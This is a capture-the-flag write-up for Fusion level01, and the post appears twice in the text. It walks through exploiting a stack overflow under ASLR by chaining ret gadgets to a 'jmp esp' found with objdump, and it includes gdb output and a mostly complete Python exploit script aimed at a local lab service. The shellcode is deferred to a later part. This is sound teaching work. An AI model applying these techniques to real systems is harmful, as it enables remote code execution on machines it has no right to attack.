Fusion 0x01 - Level01 pt 1
Prev: 0x00 - Level00
This is the exact same level as before, but this time, Address Space Layout Randomization (ASLR) is enabled. ASLR is an exploit prevention technique in which the virtual memory locations of various regions of a process are randomized. In this case, per this level’s instructions, the randomized regions are the stack, heap, and mmap.
With ASLR enabled, we can no longer reliably jump into our shellcode on the stack as the stack location will vary from process to process. This is a significant roadblock, but there are still several techniques to bypass this protection:
In order to understand which instructions we want to use, we first need to understand what we control. We control eip as a result of overflowing the bounds of our buffer and overwriting a saved return address, and in a way, this allows us limited control of other registers as well. Consider if we return to a “ret” instruction – esp will increment by 4 bytes. Or, if we return into three “pop” instructions and a “ret” instruction, esp will increment by 16 bytes! So, we have some control of esp, which also allows us to control other registers by way of providing values for “pop” instructions, e.g. providing 0x4 and returning into a “pop eax” places 0x4 into eax.
Even with ASLR, we can see that we still have a lot of control, so it is simply a matter of getting creative. Let’s now use a modified version of our Python script from the prior level, this time with the port number updated to 20001, and use it to run the process and pause it so that we can attach with gdb.
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20001))
buffer = "A" * 128
buffer += "BCDEFGHIJKL" #to overflow to the ret address
new_ret = "B" * 4
payload = "GET " + buffer + new_ret + " HTTP/1.1"
print s.recv(1024)
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
print s.recv(1024)
s.close()
Let’s attach with gdb using the same method from the prior level in which we identify the process using “ps aux” and connect using gdb with the “-p” switch.
Once we’re in, let’s break on the “ret” instruction within “fix_path” so that we can understand the stack layout at this point.
$ ps aux | grep level01
20001 1587 0.0 0.0 1816 260 ? Ss 03:11 0:00 /opt/fusion/bin/level01
fusion 1931 0.0 0.2 10352 4248 pts/0 S+ 03:20 0:00 python level01.py
20001 1932 0.0 0.0 1816 56 ? S 03:20 0:00 /opt/fusion/bin/level01
fusion 1934 0.0 0.0 4188 796 pts/1 S+ 03:20 0:00 grep --color=auto level01
$ sudo -s gdb -p 1932
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08
...
0xb78b5424 in __kernel_vsyscall ()
(gdb) disas fix_path
Dump of assembler code for function fix_path:
0x08049815 <+0>: push %ebp
...
0x08049853 <+62>: leave
0x08049854 <+63>: ret
End of assembler dump.
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
(gdb) c
Continuing.
Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x4c4b4a51
) at level01/level01.c:9
9 level01/level01.c: No such file or directory.
in level01/level01.c
(gdb) x/20wx $esp
0xbff0f20c: 0x42424242 0xbff0f200 0x00000020 0x00000004
0xbff0f21c: 0x00000000 0x001761e4 0xbff0f2b0 0x20544547
0xbff0f22c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0f23c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0f24c: 0x41414141 0x41414141 0x41414141 0x41414141
Interesting – we can see our input just ahead of us on the stack! This makes sense, given that our input buffer exists in the prior “parse_http_function” which called “fix_path.” We also know that the offset from “fix_path’s” return address will be fixed and unaffected by ASLR, so if we are able to somehow increment esp all the way to this buffer, we could execute instructions contained within it by providing a “jmp esp” instruction. This will be our strategy.
First, how to increment esp. As we discussed earlier, this can be done via a “ret” instruction. If we can locate a “ret” instruction within our text segment, we can chain this instruction to itself to continually increment esp.
Next, once esp is 4 bytes from our buffer, we’ll want to provide an address to a “jmp esp” instruction. Once “ret” is called on the address of this instruction, esp will increment so that it points to our buffer. Then, eip will execute the “jmp esp” instruction, thus jumping into our buffer!
There are certainly more sophisticated methods for locating ROP gadgets, but for our purposes here, we can simply use “objdump.”
We can use “objdump -D | grep ret” to locate a ret instruction:
$ objdump -D /opt/fusion/bin/level01 | grep ret
80488b9: c3 ret
8048bf4: c3 ret
8048c22: c3 ret
...
Let’s use this first address, 0x80488b9.
Next, we will do the same for “jmp esp”
$ objdump -D /opt/fusion/bin/level01 | grep "jmp esp"
$
Unfortunately, it doesn’t look like that instruction exists within this program. That makes some sense – “jmp esp” would be a strange method of control flow that implies that executable code is placed onto the stack for some reason. I cannot fathom why a compiler might ever want to do that.
However, we can search for the opcodes. If we quickly use an online X86 assembler to assemble “jmp esp,” we see that the opcodes are “ff e4.”
Let’s search for those opcodes using “objdump -D | grep “ff e4””
$ objdump -D /opt/fusion/bin/level01 | grep "ff e4"
8049f4b: 00 8f f4 ff ff e4 add %cl,-0x1b00000c(%edi)
Jackpot! One such combination of those two bytes exists, and it is at address 0x8049f4f.
Let’s now plan how this payload will work. Earlier, we saw that esp was 8 dwords from the start of our buffer, so if we provide the address to “ret” seven times, and then the address to the “jmp esp,” we will execute instructions starting from the beginning of our buffer! If we provide shellcode as the start of our buffer, then fill the remaining bytes before the saved return address with dummy bytes, then provide seven “rets” and one “jmp esp” we will be golden.
Now, there is one last roadblock to address: this overflow is only possible via “realpath” copying input from our original buffer into a (too-small) 128-byte “resolved” buffer. However, the remote shell bind shellcode we used for the prior level contains two slashes back-to-back (“0x2f2f”), which will trigger and error in “realpath” and stop it from copying any more bytes. This was not an issue in the prior level as we placed the shellcode after the saved returned address overflow, but this time we need the shellcode to exist at or near the start of our buffer, and before the overflow.
In other words, we need some shellcode without any “0x2f” bytes. This is difficult, as both a bind shell (which listens on a port) and reverse shell (which connects to a specified port on the attacker's machine) require "/bin/sh," which obviously contains forward slashes.
Thus, we need a clever way to generate a payload for us that is encoded, such that we can still execute these instructions, but without these "bad characters." We will cover this process in part 2.
Here is our final script, before the payload:
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20001))
shellcode = "covered_in_part_2"
nops = "\x90" * 4 #padding; at least one replaced with null from strcpy, may need to be modified depending on how program handles the null
buffer = (139 - (len(shellcode) + len(nops))) * "A"
ret_opcode = struct.pack("<I", 0x080488b9)
jmpesp_opcode = struct.pack("<I", 0x08049f4f)
payload = "GET " + nops + shellcode + buffer + ret_opcode * 7 + jmpesp_opcode + " HTTP/1.1"
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
print s.recv(1024)
s.close()
Stay tuned!
Prev: 0x00 - Level00
This is the exact same level as before, but this time, Address Space Layout Randomization (ASLR) is enabled. ASLR is an exploit prevention technique in which the virtual memory locations of various regions of a process are randomized. In this case, per this level’s instructions, the randomized regions are the stack, heap, and mmap.
With ASLR enabled, we can no longer reliably jump into our shellcode on the stack as the stack location will vary from process to process. This is a significant roadblock, but there are still several techniques to bypass this protection:
- Leak a memory address. If we can leak a stack address while the program is running, we can use it as an anchor from which we can calculate offsets to other areas of the stack. Remember – the address of the stack itself is randomized, but not its overall layout. Thus, if we use gdb to understand the stack layout, then one leaked stack address allows us to understand the entire stack at runtime. Unfortunately, leaking addresses is not always possible, and we can see that this level removed the conveniently-supplied address leak that it provided in the previous level.
- Brute force. The stack address is randomized, but not to anywhere within the 4GB of virtual address space. Typically, its randomized location is confined to a smaller region. If we provide a payload with a massive NOP slide, we can guess a stack address within this region and, if we enter it into the program enough times, we will eventually strike gold. However, although effective, it may take time to work while we wait for a correct guess. It is also generally an inelegant solution as it requires nonstop processing and repeated crashing of the program.
- Return-oriented programming. If there are sections of the program whose location remains fixed, such as the text segment or shared libraries, we can return into these instructions – or portions of these instructions – in a way that allows us to either access our payload, or potentially even craft a payload using these instructions, commonly referred to as “gadgets” (read more here).
In order to understand which instructions we want to use, we first need to understand what we control. We control eip as a result of overflowing the bounds of our buffer and overwriting a saved return address, and in a way, this allows us limited control of other registers as well. Consider if we return to a “ret” instruction – esp will increment by 4 bytes. Or, if we return into three “pop” instructions and a “ret” instruction, esp will increment by 16 bytes! So, we have some control of esp, which also allows us to control other registers by way of providing values for “pop” instructions, e.g. providing 0x4 and returning into a “pop eax” places 0x4 into eax.
Even with ASLR, we can see that we still have a lot of control, so it is simply a matter of getting creative. Let’s now use a modified version of our Python script from the prior level, this time with the port number updated to 20001, and use it to run the process and pause it so that we can attach with gdb.
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20001))
buffer = "A" * 128
buffer += "BCDEFGHIJKL" #to overflow to the ret address
new_ret = "B" * 4
payload = "GET " + buffer + new_ret + " HTTP/1.1"
print s.recv(1024)
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
print s.recv(1024)
s.close()
Let’s attach with gdb using the same method from the prior level in which we identify the process using “ps aux” and connect using gdb with the “-p” switch.
Once we’re in, let’s break on the “ret” instruction within “fix_path” so that we can understand the stack layout at this point.
$ ps aux | grep level01
20001 1587 0.0 0.0 1816 260 ? Ss 03:11 0:00 /opt/fusion/bin/level01
fusion 1931 0.0 0.2 10352 4248 pts/0 S+ 03:20 0:00 python level01.py
20001 1932 0.0 0.0 1816 56 ? S 03:20 0:00 /opt/fusion/bin/level01
fusion 1934 0.0 0.0 4188 796 pts/1 S+ 03:20 0:00 grep --color=auto level01
$ sudo -s gdb -p 1932
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08
...
0xb78b5424 in __kernel_vsyscall ()
(gdb) disas fix_path
Dump of assembler code for function fix_path:
0x08049815 <+0>: push %ebp
...
0x08049853 <+62>: leave
0x08049854 <+63>: ret
End of assembler dump.
(gdb) break *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
(gdb) c
Continuing.
Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x4c4b4a51
) at level01/level01.c:9
9 level01/level01.c: No such file or directory.
in level01/level01.c
(gdb) x/20wx $esp
0xbff0f20c: 0x42424242 0xbff0f200 0x00000020 0x00000004
0xbff0f21c: 0x00000000 0x001761e4 0xbff0f2b0 0x20544547
0xbff0f22c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0f23c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbff0f24c: 0x41414141 0x41414141 0x41414141 0x41414141
Interesting – we can see our input just ahead of us on the stack! This makes sense, given that our input buffer exists in the prior “parse_http_function” which called “fix_path.” We also know that the offset from “fix_path’s” return address will be fixed and unaffected by ASLR, so if we are able to somehow increment esp all the way to this buffer, we could execute instructions contained within it by providing a “jmp esp” instruction. This will be our strategy.
First, how to increment esp. As we discussed earlier, this can be done via a “ret” instruction. If we can locate a “ret” instruction within our text segment, we can chain this instruction to itself to continually increment esp.
Next, once esp is 4 bytes from our buffer, we’ll want to provide an address to a “jmp esp” instruction. Once “ret” is called on the address of this instruction, esp will increment so that it points to our buffer. Then, eip will execute the “jmp esp” instruction, thus jumping into our buffer!
There are certainly more sophisticated methods for locating ROP gadgets, but for our purposes here, we can simply use “objdump.”
We can use “objdump -D | grep ret” to locate a ret instruction:
$ objdump -D /opt/fusion/bin/level01 | grep ret
80488b9: c3 ret
8048bf4: c3 ret
8048c22: c3 ret
...
Let’s use this first address, 0x80488b9.
Next, we will do the same for “jmp esp”
$ objdump -D /opt/fusion/bin/level01 | grep "jmp esp"
$
Unfortunately, it doesn’t look like that instruction exists within this program. That makes some sense – “jmp esp” would be a strange method of control flow that implies that executable code is placed onto the stack for some reason. I cannot fathom why a compiler might ever want to do that.
However, we can search for the opcodes. If we quickly use an online X86 assembler to assemble “jmp esp,” we see that the opcodes are “ff e4.”
Let’s search for those opcodes using “objdump -D | grep “ff e4””
$ objdump -D /opt/fusion/bin/level01 | grep "ff e4"
8049f4b: 00 8f f4 ff ff e4 add %cl,-0x1b00000c(%edi)
Jackpot! One such combination of those two bytes exists, and it is at address 0x8049f4f.
Let’s now plan how this payload will work. Earlier, we saw that esp was 8 dwords from the start of our buffer, so if we provide the address to “ret” seven times, and then the address to the “jmp esp,” we will execute instructions starting from the beginning of our buffer! If we provide shellcode as the start of our buffer, then fill the remaining bytes before the saved return address with dummy bytes, then provide seven “rets” and one “jmp esp” we will be golden.
Now, there is one last roadblock to address: this overflow is only possible via “realpath” copying input from our original buffer into a (too-small) 128-byte “resolved” buffer. However, the remote shell bind shellcode we used for the prior level contains two slashes back-to-back (“0x2f2f”), which will trigger and error in “realpath” and stop it from copying any more bytes. This was not an issue in the prior level as we placed the shellcode after the saved returned address overflow, but this time we need the shellcode to exist at or near the start of our buffer, and before the overflow.
In other words, we need some shellcode without any “0x2f” bytes. This is difficult, as both a bind shell (which listens on a port) and reverse shell (which connects to a specified port on the attacker's machine) require "/bin/sh," which obviously contains forward slashes.
Thus, we need a clever way to generate a payload for us that is encoded, such that we can still execute these instructions, but without these "bad characters." We will cover this process in part 2.
Here is our final script, before the payload:
import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 20001))
shellcode = "covered_in_part_2"
nops = "\x90" * 4 #padding; at least one replaced with null from strcpy, may need to be modified depending on how program handles the null
buffer = (139 - (len(shellcode) + len(nops))) * "A"
ret_opcode = struct.pack("<I", 0x080488b9)
jmpesp_opcode = struct.pack("<I", 0x08049f4f)
payload = "GET " + nops + shellcode + buffer + ret_opcode * 7 + jmpesp_opcode + " HTTP/1.1"
print "press enter to continue..."
raw_input() #pause the program before our input for debugging purposes
s.send(payload)
print s.recv(1024)
s.close()
Stay tuned!
Prev: 0x00 - Level00